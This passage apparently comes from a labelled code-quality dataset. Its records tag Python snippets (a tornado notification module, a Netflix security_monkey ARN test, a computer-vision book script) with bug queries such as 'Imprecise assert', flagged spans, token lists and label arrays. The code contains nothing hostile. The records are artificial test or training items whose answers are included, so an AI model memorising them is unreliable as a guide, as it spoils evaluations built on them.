"\\u\\u\\uNEWLINE\\u\\u\\u_",
"user",
"\\u",
"event_",
"=_",
"event",
"\\u",
"template_",
"._",
"copy_",
"(_",
")_",
"#",
" ",
"shallow",
",",
" ",
"but",
" ",
"deep",
" ",
"eno",
"ugh",
" ",
"for",
" ",
"our",
" ",
"need",
"s_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"key_",
"in_",
"user",
"\\u",
"data_",
"._",
"keys_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"key_",
"!=_",
"\"",
"id",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"event_",
"[_",
"key_",
"]_",
"=_",
"user",
"\\u",
"data_",
"[_",
"key_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"client_",
"in_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"user_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"client_",
"._",
"accepts",
"\\u",
"event_",
"(_",
"user",
"\\u",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"._",
"add",
"\\u",
"event_",
"(_",
"user",
"\\u",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"\\u",
"notification_",
"(_",
"notice_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"=_",
"notice_",
"[_",
"'",
"event",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"users_",
"=_",
"notice_",
"[_",
"'",
"users",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"event_",
"[_",
"'",
"type",
"'_",
"]_",
"in_",
"[_",
"\"",
"update",
"\\u",
"message",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"process",
"\\u",
"userdata",
"\\u",
"event_",
"(_",
"event_",
",_",
"users_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"event_",
"[_",
"'",
"type",
"'_",
"]_",
"==_",
"\"",
"message",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"process",
"\\u",
"message",
"\\u",
"event_",
"(_",
"event_",
",_",
"users_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"process",
"\\u",
"event_",
"(_",
"event_",
",_",
"users_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"notification",
"\\u",
"http_",
"(_",
"data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
"and_",
"not_",
"settings_",
"._",
"RUNN",
"ING",
"\\u",
"INS",
"IDE",
"\\u",
"TOR",
"NAD",
"O_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"requests_",
"._",
"post_",
"(_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
"+_",
"'/",
"notif",
"y",
"\\u",
"torn",
"ado",
"'_",
",_",
"data_",
"=_",
"dict_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"data_",
"=_",
"ujson_",
"._",
"dumps_",
"(_",
"data_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"secret_",
"=_",
"settings_",
"._",
"SHARED",
"\\u",
"SECRET_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"process",
"\\u",
"notification_",
"(_",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"notification_",
"(_",
"data_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"notif",
"y",
"\\u",
"torn",
"ado",
"\"_",
",_",
"data_",
",_",
"send",
"\\u",
"notification",
"\\u",
"http_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"event_",
"(_",
"event_",
",_",
"users_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"notif",
"y",
"\\u",
"torn",
"ado",
"\"_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"dict_",
"(_",
"event_",
"=_",
"event_",
",_",
"users_",
"=_",
"users_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"send",
"\\u",
"notification",
"\\u",
"http_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | Netflix/security_monkey/security_monkey/tests/test_arn.py | [
{
"content": " def test_extract_arns_from_statement_condition(self):\n test_condition_list = [\n 'ArnEquals',\n 'ForAllValues:ArnEquals',\n 'ForAnyValue:ArnEquals',\n 'ArnLike',\n 'ForAllValues:ArnLike',\n 'ForAnyValue:ArnLike',\n 'StringLike',\n 'ForAllValues:StringLike',\n 'ForAnyValue:StringLike',\n 'StringEquals',\n 'ForAllValues:StringEquals',\n 'ForAnyValue:StringEquals'\n ]\n\n bad_condition_list = [\n 'NotACondition',\n 'ArnLikeSomethingNotARealCondition'\n ]\n\n arn_types = [\n ('aws:sourcearn', 'arn:aws:s3:::some-s3-bucket'),\n ('aws:sourcearn', 'arn:aws:s3:::some-s3-bucket/*'),\n ('aws:sourcearn', \"*\"),\n ('aws:sourceowner', '012345678912'),\n ('aws:sourceowner', '*')\n ]\n\n for condition in test_condition_list:\n for arn_type in arn_types:\n test_condition = {\n condition: {\n arn_type[0]: arn_type[1]\n }\n }\n\n result = ARN.extract_arns_from_statement_condition(test_condition)\n self.assertIsInstance(result, list)\n self.assertTrue(len(result) > 0)\n\n for condition in bad_condition_list:\n for arn_type in arn_types:\n test_condition = {\n condition: {\n arn_type[0]: arn_type[1]\n }\n }\n\n result = ARN.extract_arns_from_statement_condition(test_condition)\n self.assertIsInstance(result, list)\n self.assertTrue(len(result) == 0)",
"metadata": "root.ARNTestCase.test_extract_arns_from_statement_condition",
"header": "['class', 'ARNTestCase', '(', 'SecurityMonkeyTestCase', ')', ':', '___EOS___']",
"index": 108
}
]
| [
{
"span": "self.assertTrue(len(result) > 0)",
"start_line": 147,
"start_column": 16,
"end_line": 147,
"end_column": 48
},
{
"span": "self.assertTrue(len(result) == 0)",
"start_line": 159,
"start_column": 16,
"end_line": 159,
"end_column": 49
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"AR",
"NT",
"est",
"Case_",
"(_",
"Secur",
"it",
"y",
"Mon",
"key",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"extract",
"\\u",
"arn",
"s",
"\\u",
"from",
"\\u",
"statem",
"ent",
"\\u",
"condition_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"test\\u",
"condition",
"\\u",
"list_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Arn",
"Equal",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"All",
"Value",
"s",
":",
"Arn",
"Equal",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"Any",
"Value",
":",
"Arn",
"Equal",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Arn",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"All",
"Value",
"s",
":",
"Arn",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"Any",
"Value",
":",
"Arn",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"String",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"All",
"Value",
"s",
":",
"String",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"Any",
"Value",
":",
"String",
"Lik",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"String",
"Equal",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"All",
"Value",
"s",
":",
"String",
"Equal",
"s",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"For",
"Any",
"Value",
":",
"String",
"Equal",
"s",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"bad",
"\\u",
"condition",
"\\u",
"list_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Not",
"AC",
"ond",
"ition",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"Arn",
"Lik",
"e",
"Some",
"thing",
"Not",
"AR",
"eal",
"Cond",
"ition",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"arn",
"\\u",
"types_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"aws",
":",
"source",
"arn",
"'_",
",_",
"'",
"arn",
":",
"aws",
":",
"s3",
":::",
"some",
"-",
"s3",
"-",
"bucket",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"aws",
":",
"source",
"arn",
"'_",
",_",
"'",
"arn",
":",
"aws",
":",
"s3",
":::",
"some",
"-",
"s3",
"-",
"bucket",
"/*'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"aws",
":",
"source",
"arn",
"'_",
",_",
"\"*\"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"aws",
":",
"source",
"owner",
"'_",
",_",
"'",
"0123456",
"789",
"1",
"2",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"'",
"aws",
":",
"source",
"owner",
"'_",
",_",
"'*'_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"condition_",
"in_",
"test\\u",
"condition",
"\\u",
"list_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"arn",
"\\u",
"type_",
"in_",
"arn",
"\\u",
"types_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"test\\u",
"condition_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"condition_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"arn",
"\\u",
"type_",
"[_",
"0_",
"]_",
":_",
"arn",
"\\u",
"type_",
"[_",
"1_",
"]_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"AR",
"N_",
"._",
"extract",
"\\u",
"arn",
"s",
"\\u",
"from",
"\\u",
"statem",
"ent",
"\\u",
"condition_",
"(_",
"test\\u",
"condition_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Is",
"Instance_",
"(_",
"result_",
",_",
"list_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"result_",
")_",
">_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"condition_",
"in_",
"bad",
"\\u",
"condition",
"\\u",
"list_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"arn",
"\\u",
"type_",
"in_",
"arn",
"\\u",
"types_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"test\\u",
"condition_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"condition_",
":_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"arn",
"\\u",
"type_",
"[_",
"0_",
"]_",
":_",
"arn",
"\\u",
"type_",
"[_",
"1_",
"]_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"AR",
"N_",
"._",
"extract",
"\\u",
"arn",
"s",
"\\u",
"from",
"\\u",
"statem",
"ent",
"\\u",
"condition_",
"(_",
"test\\u",
"condition_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Is",
"Instance_",
"(_",
"result_",
",_",
"list_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"len_",
"(_",
"result_",
")_",
"==_",
"0_",
")_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
Variable defined multiple times | luispedro/BuildingMachineLearningSystemsWithPython/ch10/chapter.py | [
{
"content": "import numpy as np\nimport mahotas as mh\nimage = mh.imread('scene00.jpg')\nfrom matplotlib import pyplot as plt\nplt.imshow(image)\nplt.show()\nimage = mh.colors.rgb2grey(image, dtype=np.uint8)\nplt.imshow(image) # Display the image\nplt.gray()\nthresh = mh.thresholding.otsu(image)\nprint('Otsu threshold is {}.'.format(thresh))\n# Otsu threshold is 138.\nplt.imshow(image > thresh)\n\nim16 = mh.gaussian_filter(image,16)\nim = mh.demos.load('lenna')\n\nr,g,b = im.transpose(2,0,1) \nr12 = mh.gaussian_filter(r, 12.)\ng12 = mh.gaussian_filter(g, 12.)\nb12 = mh.gaussian_filter(b, 12.)\nim12 = mh.as_rgb(r12,g12,b12)\nh, w = r.shape # height and width\nY, X = np.mgrid[:h,:w]\nY = Y-h/2. # center at h/2\nY = Y / Y.max() # normalize to -1 .. +1\n\nX = X-w/2.\nX = X / X.max()\n\nC = np.exp(-2.*(X**2+ Y**2))\n\n# Normalize again to 0..1\nC = C - C.min()\nC = C / C.ptp()\nC = C[:,:,None] # This adds a dummy third dimension to C\n\nringed = mh.stretch(im*C + (1-C)*im12)\n\nharalick_features = mh.features.haralick(image)\nharalick_features_mean = np.mean(haralick_features, axis=0)\nharalick_features_all = np.ravel(haralick_features)\n\nfrom glob import glob\nimages = glob('../SimpleImageDataset/*.jpg')\nfeatures = []\nlabels = []\nfor im in images:\n labels.append(im[:-len('00.jpg')])\n im = mh.imread(im)\n im = mh.colors.rgb2gray(im, dtype=np.uint8)\n features.append(mh.features.haralick(im).ravel())\n\nfeatures = np.array(features)\nlabels = np.array(labels)\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nclf = Pipeline([('preproc', StandardScaler()),\n ('classifier', LogisticRegression())])\n\n\nfrom sklearn import cross_validation\ncv = cross_validation.LeaveOneOut(len(images))\nscores = cross_validation.cross_val_score(\n clf, features, labels, cv=cv)\nprint('Accuracy: {:.1%}'.format(scores.mean()))\n# Accuracy: 81.1%\n\n\nfeatures = []\nfor im in images:\n im = mh.imread(im)\n features.append(chist(im))\n\n\n\nfeatures = []\nfor im in images:\n imcolor = mh.imread(im)\n im = mh.colors.rgb2gray(imcolor, dtype=np.uint8)\n features.append(np.concatenate([\n mh.features.haralick(im).ravel(),\n chist(imcolor),\n ]))\n\n\nscores = cross_validation.cross_val_score(\n clf, features, labels, cv=cv)\nprint('Accuracy: {:.1%}'.format(scores.mean()))\n# Accuracy: 95.6%\n\n\nfeatures = []\nfor im in images:\n imcolor = mh.imread(im)\n # Ignore everything in the 200 pixels close to the borders\n imcolor = imcolor[200:-200, 200:-200]\n im = mh.colors.rgb2gray(imcolor, dtype=np.uint8)\n features.append(np.concatenate([\n mh.features.haralick(im).ravel(),\n chist(imcolor),\n ]))\n\nsc = StandardScaler()\nfeatures = sc.fit_transform(features)\nfrom scipy.spatial import distance\ndists = distance.squareform(distance.pdist(features))\n\n\nfig, axes = plt.subplots(2, 9)\nfor ci,i in enumerate(range(0,90,10)):\n left = images[i]\n dists_left = dists[i]\n right = dists_left.argsort()\n # right[0] is the same as left[i], so pick the next closest element\n right = right[1]\n right = images[right]\n left = mh.imread(left)\n right = mh.imread(right)\n axes[0, ci].imshow(left)\n axes[1, ci].imshow(right)\n\n\n\nfrom sklearn.grid_search import GridSearchCV\nC_range = 10.0 ** np.arange(-4, 3)\ngrid = GridSearchCV(LogisticRegression(), param_grid={'C' : C_range})\nclf = Pipeline([('preproc', StandardScaler()),\n ('classifier', grid)])\n\ncv = cross_validation.KFold(len(features), 5,\n shuffle=True, random_state=123)\nscores = cross_validation.cross_val_score(\n clf, features, labels, cv=cv)\nprint('Accuracy: {:.1%}'.format(scores.mean()))\n\n\n\n\nfrom mahotas.features import surf\nimage = mh.demos.load('lena')\nimage = mh.colors.rgb2gray(image, dtype=np.uint8)\ndescriptors = surf.surf(image, descriptor_only=True)\n\nfrom mahotas.features import surf\ndescriptors = surf.dense(image, spacing=16)\nalldescriptors = []\nfor im in images:\n im = mh.imread(im, as_grey=True)\n im = im.astype(np.uint8)\n alldescriptors.append(surf.dense(image, spacing=16))\n# get all descriptors into a single array\nconcatenated = np.concatenate(alldescriptors)\nprint('Number of descriptors: {}'.format(\n len(concatenated)))\n# use only every 64th vector\nconcatenated = concatenated[::64] \nfrom sklearn.cluster import KMeans # FIXME CAPITALIZATION\nk = 256\nkm = KMeans(k)\nkm.fit(concatenated)\n\nfeatures = []\nfor d in alldescriptors:\n c = km.predict(d)\n features.append(\n np.array([np.sum(c == ci) for ci in range(k)])\n )\n# build single array and convert to float\nfeatures = np.array(features, dtype=float)\nscores = cross_validation.cross_val_score(\n clf, features, labels, cv=cv)\nprint('Accuracy: {:.1%}'.format(scores.mean()))\n# Accuracy: 62.6%\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "descriptors ",
"start_line": 152,
"start_column": 0,
"end_line": 152,
"end_column": 11
}
]
| [
{
"span": "descriptors ",
"start_line": 155,
"start_column": 0,
"end_line": 155,
"end_column": 11
}
]
| 1 | true | [
"[CLS]_",
"Variable_",
"defined_",
"multiple_",
"times_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\",
"652",
"7",
"9",
";_",
"import_",
"numpy_",
"as_",
"np_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"mah",
"ota",
"s_",
"as_",
"mh",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"image_",
"=_",
"mh",
"_",
"._",
"imread_",
"(_",
"'",
"scen",
"e0",
"0.",
"jp",
"g",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"matplotlib_",
"import_",
"pyplot_",
"as_",
"plt_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"plt_",
"._",
"imshow_",
"(_",
"image_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"plt_",
"._",
"show_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"image_",
"=_",
"mh",
"_",
"._",
"colors_",
"._",
"rgb",
"2g",
"rey",
"_",
"(_",
"image_",
",_",
"dtype_",
"=_",
"np_",
"._",
"uint8_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"plt_",
"._",
"imshow_",
"(_",
"image_",
")_",
"#",
" ",
"Display",
" ",
"the",
" ",
"image_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"plt_",
"._",
"gray_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"thresh_",
"=_",
"mh",
"_",
"._",
"threshol",
"ding_",
"._",
"ots",
"u_",
"(_",
"image_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"print_",
"(_",
"'",
"Ot",
"su",
" ",
"threshol",
"d",
" ",
"is",
" ",
"{}.'_",
"._",
"format_",
"(_",
"thresh_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Ot",
"su",
" ",
"threshol",
"d",
" ",
"is",
" ",
"138",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"plt_",
"._",
"imshow_",
"(_",
"image_",
">_",
"thresh_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"im",
"16_",
"=_",
"mh",
"_",
"._",
"gauss",
"ian",
"\\u",
"filter_",
"(_",
"image_",
",_",
"16_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im_",
"=_",
"mh",
"_",
"._",
"demo",
"s_",
"._",
"load_",
"(_",
"'",
"len",
"na",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"r_",
",_",
"g_",
",_",
"b_",
"=_",
"im_",
"._",
"transpose_",
"(_",
"2_",
",_",
"0_",
",_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"r1",
"2_",
"=_",
"mh",
"_",
"._",
"gauss",
"ian",
"\\u",
"filter_",
"(_",
"r_",
",_",
"12.",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"g1",
"2_",
"=_",
"mh",
"_",
"._",
"gauss",
"ian",
"\\u",
"filter_",
"(_",
"g_",
",_",
"12.",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"b1",
"2_",
"=_",
"mh",
"_",
"._",
"gauss",
"ian",
"\\u",
"filter_",
"(_",
"b_",
",_",
"12.",
"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"im",
"12_",
"=_",
"mh",
"_",
"._",
"as",
"\\u",
"rgb_",
"(_",
"r1",
"2_",
",_",
"g1",
"2_",
",_",
"b1",
"2_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"h_",
",_",
"w_",
"=_",
"r_",
"._",
"shape_",
"#",
" ",
"height",
" ",
"and",
" ",
"width_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Y_",
",_",
"X_",
"=_",
"np_",
"._",
"mgr",
"id_",
"[_",
":_",
"h_",
",_",
":_",
"w_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Y_",
"=_",
"Y_",
"-_",
"h_",
"/_",
"2._",
"#",
" ",
"center",
" ",
"at",
" ",
"h",
"/",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Y_",
"=_",
"Y_",
"/_",
"Y_",
"._",
"max_",
"(_",
")_",
"#",
" ",
"normali",
"ze",
" ",
"to",
" ",
"-1",
" ",
"..",
" ",
"+",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"X_",
"=_",
"X_",
"-_",
"w_",
"/_",
"2._",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"X_",
"=_",
"X_",
"/_",
"X_",
"._",
"max_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"C_",
"=_",
"np_",
"._",
"exp_",
"(_",
"-_",
"2._",
"*_",
"(_",
"X_",
"**_",
"2_",
"+_",
"Y_",
"**_",
"2_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Normalize",
" ",
"again",
" ",
"to",
" ",
"0.",
".1_",
"\\u\\u\\uNL\\u\\u\\u_",
"C_",
"=_",
"C_",
"-_",
"C_",
"._",
"min_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"C_",
"=_",
"C_",
"/_",
"C_",
"._",
"pt",
"p_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"C_",
"=_",
"C_",
"[_",
":_",
",_",
":_",
",_",
"None_",
"]_",
"#",
" ",
"Thi",
"s",
" ",
